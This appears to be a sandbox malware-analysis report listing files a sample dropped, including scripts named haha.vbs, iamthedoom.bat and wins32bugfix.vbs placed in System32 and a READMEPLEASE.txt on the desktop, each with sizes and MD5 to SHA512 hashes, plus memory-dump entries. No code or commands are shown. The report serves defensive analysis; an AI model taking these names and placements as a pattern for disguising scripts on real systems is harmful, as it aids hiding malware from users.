4846d786a517eb1e91eae0c4f824516c3c9cdd9fc4f9f8ac9a932cd830db48a7e125f10c2580081a2ce2241b0de5907c92421889fefa753f475ef377e4dd018c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPUI9R2R\yahoo-main[1].css

Filesize
666KB

MD5
502b4c0d6225976ba22b9929ecfb2ec8

SHA1
2edd32e54955ca40517c427eeb1aae93bd4905cc

SHA256
b5a31ee660d24347a8f1a1b17a592661e70aec5c827c5b9f712447561d016adf

SHA512
30b9afbddf361c027133a748ee79610a0bd61882aa4eeb3d2e4a2aaaecc5909965baa40264003decfba1b940b294a44e6d15d78c583d99355ce2d073a4ca02f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPUI9R2R\yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x[1].png

Filesize
1KB

MD5
cd166981c96c6d0f4b5a7d798c25878e

SHA1
09031c4013138bb8bd54ab9092ac59aa47d7c60c

SHA256
0fdefe26bac6a6b0b06fe67984582f887af70b7da25d6cb1b401f9074db58338

SHA512
6d217a81dfdcfd601c3f6d9cde3f1be0c4d4ffef85b02b06208014101456ca730ef759bd51637966c9f2572080b79e8a2f9d45a2087ddc40df015f8c052da501

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPUI9R2R\yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x[1].png

Filesize
1KB

MD5
dd31f56b9e4dff40eb87447c3dc55b84

SHA1
1908b34af2d15440d33dfc81fcb93aa9b271dc58

SHA256
4f47ef8ff3dad2a78360ab207cf35ff2905622511c0426109f6e225052cf5637

SHA512
057d2dcd66c48a2bb43d7b62bc38e4dacd3d7f3fdaa103af178fdbc737be91a81a369158bf02ab59c46f507f538536d01d5fc179d681375f9b77ee814e544407

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabEDF9.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarEE0C.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\~DF7B270AAD987C5330.TMP

Filesize
16KB

MD5
a3124392251a029a2da4266539ed13f2

SHA1
9d5a89f6f15146b46e943cea3aa3729d3e07eae0

SHA256
310224aa149992f81e8ab0214720261268e40a6b800fd83f6342b7e4d9e6e41c

SHA512
44d64917d3e9bf41a3f18967dd1b87e05ca7a67b8ade0ae3bd77858d6bca721f5cc74ddae0f44c6a4c8c080aa1232cb865e370b62e492f7ef499b204d2b70fc3

Download Submit
C:\Users\Admin\Desktop\READMEPLEASE.txt

Filesize
263B

MD5
3ef0278e79a3b141585b0eb66d965dcd

SHA1
2c5a34b067b368adcb8daad4b6ead6c4a1a2ef26

SHA256
defe7e5a9ae1aa925ca79cc6f7b1c56368bcf21b48668e1161449ed96bb6774a

SHA512
b21fcb3dfc37680fe6669818505101fff46a0848a5406e5e94c5dbe4c6031bb47cfe4763d21fa8d966c8e09e8e5050c4e35bc1f0cfdedcb6cb63bec9db34221c

Download Submit
C:\Windows\System32\haha.vbs

Filesize
1KB

MD5
f2a256e463d8b95880579574a96ed06e

SHA1
0148ad8f4a38a303fc58ff7bf543b9fd2da6cdad

SHA256
d8c9882db9ff81f39e227378a1476d27075b8aa63e3c7ac31ab79b35a1f63915

SHA512
3ac57af6f83ad83d63689c1f9868829cf83220d98b278da267ba4c8398fa541afff38416e1a947aff74963099fdf75c275cb302f3cea120eddd5afc6b9a8b5a1

Download Submit
C:\Windows\System32\iamthedoom.bat

Filesize
431B

MD5
7f577772568e8e2166472cfc8576f2a5

SHA1
19f00b639e0456bc990c2506d4e9d516f57a56c3

SHA256
de6bdd7e830e1df26ded7aee443e494869390dd08f2f14de277c4eb56699f640

SHA512
31f06800905fa4031d00c28a003059afa385dcaa4cff606a7805cbada80fdae2ad5518f5939d9a31c9a51dd9a0ea0af1cdb0b9e292d324023dcfbf227d7e47a9

Download Submit
C:\Windows\System32\wins32bugfix.vbs

Filesize
496B

MD5
e2d836beba8f0d92022fc8c07d42f684

SHA1
ca8904c7281ff138afbbb2690862a54ebdbd53e7

SHA256
2581cbeb3f35d83a6f90ed208a1f3ac8e59efbbeafbaab11c9d2b66c2333e1a3

SHA512
ead612bde359a4d0d7b305f8aeaee4d46595c8cbfbfecd0ff76c7dbc1b0156e2a6d5df76787c2c07134df1d4d0122f2b61a51b3287c026ec1e202228f0248ad7

Download Submit
memory/1432-2330-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/1432-3477-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/1640-3452-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/1640-2535-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/2420-2584-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/2420-2663-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/2440-2536-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/2440-3468-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/2780-2537-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download
memory/2780-3461-0x000007FEF5B60000-0x000007FEF5BAC000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads